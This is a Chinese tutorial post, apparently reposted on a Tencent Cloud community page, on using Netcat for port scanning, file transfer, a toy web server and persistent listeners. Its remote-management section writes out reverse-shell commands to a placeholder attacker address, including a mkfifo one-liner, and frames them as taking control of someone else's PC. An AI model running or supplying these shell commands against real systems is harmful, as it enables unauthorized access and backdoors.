前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服

网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服

作者头像
程序员小助手
发布2020-04-08 15:00:26
8550
发布2020-04-08 15:00:26
举报
文章被收录于专栏:程序员小助手程序员小助手

前言

小助手今天说的这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。

他就是 Nmap 工具包内的 Ncat

介绍

Netcat是用于跨TCP和UDP端口读写数据的实用程序。

它可以用来做很多很酷的事情,比如文件传输,端口扫描,端口重定向,回溯别人的电脑,制作一个简单的聊天程序,用于网络故障排除等等,这就是为什么它被称为瑞士军刀。

此外,现在几乎所有的Linux发行版都预装了它,主要由网络管理员、DevOps和安全工程师用于他们的日常小任务。

Netcat-Traditional与Netcat-OpenBSD的区别

Netcat有两个类似的软件包,它们之间略有不同。

Netcat-Traditional包括一个附加的‘-e’选项,可用于将程序(即bash)与Netcat绑定。此功能对于远程管理非常有用。

Netcat-OpenBSD对IPv6和代理有一些额外的支持。

端口扫描

要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。键入以下内容

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -z -v example.com 80
......
example.com [x.x.x.x] 80 (http) open

扫描一系列端口键入一下内容

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -z -nv 192.168.1.2 20-80
(UNKNOWN) [192.168.1.2] 80 (http) open
(UNKNOWN) [192.168.1.2] 22 (ssh) open

文件传输

Netcat的另一个有用用例是远程计算机之间的文件传输。您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。

在接收方windows主机上键入以下内容

代码语言:javascript
复制
C:\Users> nc -nvlp 1248 > file.pdf
Listening on [0.0.0.0] (family 2, port 1248)

在发送方linux主机上键入以下内容

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -nv 192.168.1.2 1248 < file.pdf
Connection to 192.168.1.2 1248 port [tcp/*] succeeded!

远程管理

Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。

Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。

Netcat将从远程PC接收命令,在本地系统上执行,并将结果发送回远程PC。

此功能被广泛用于恶意目的,在PC和服务器中保留后门。

此功能仅在Netcat-Traditional中可用,但通过一点小技巧,Netcat-OpenBSD也可以用于相同的目的。

也就是说你可以用两种方式来控制别人的电脑。

当受控计算机在NAT之后或没有公网IP时使用反弹shell,攻击者侦听端口并等待从受控计算机发送连接。

要使用Netcat获取反弹shell,您需要使用Netcat侦听端口。在攻击者计算机上键入以下内容,

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)

在受控计算机上,如果是Linux运行

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -nv [IP_ADDR] 1248 -e /bin/bash

如果是Windows运行

代码语言:javascript
复制
C:\Users> nc -nv [IP_ADDR] 1248 -e cmd.exe

Netcat-Openbsd中 -e 选项不受支持,所以需要曲线救国

代码语言:javascript
复制
ubuntu@ubuntu:~$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP_ADDR] 1248 >/tmp/f

简单web服务器

您还可以使用另一个简单的技巧将Netcat用作最小的单页面Web服务器。

这个Web服务器非常简单,没有特殊配置,我们将使用它将HTML代码发送到浏览器。

代码语言:javascript
复制
ubuntu@ubuntu:~$ while true ; do  echo -e "HTTP/1.1 200 OK\n\n $(echo "<h1>server by netcat</h1>")" | nc -nvlp 1248  ;
done
Listening on [0.0.0.0] (family 2, port 1248)

然后使用curl请求该路由地址

代码语言:javascript
复制
ubuntu@ubuntu:~$ curl http://127.0.0.1:1248/
<h1>server by netcat</h1>

指定会话超时时间

您可以使用“-w”选项指定Netcat会话的超时。Netcat将在指定时间超时后自动断开其会话。

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -w 30 -nvlp 1248
Listening on [0.0.0.0] (family 2, port 1248)

客户端监听守护

客户端就是断开,也坚持监听请求。在正常模式下,当客户端关闭连接时,Netcat服务器会关闭并停止侦听端口。您可以使用“-k”选项保持服务器正常运行

代码语言:javascript
复制
ubuntu@ubuntu:~$ nc -k -nlvp 1248
Listening on [0.0.0.0] (family 2, port 1248)

写在最后

Netcat是一种简单而高效的实用程序,可用于许多简单的日常任务。

它预装在几乎所有类似UNIX的操作系统中,可用于各种任务。

快去测试一下吧。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员小助手 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 介绍
  • 端口扫描
  • 文件传输
  • 远程管理
  • 简单web服务器
  • 指定会话超时时间
  • 客户端监听守护
  • 写在最后
相关产品与服务
弹性公网 IP
弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档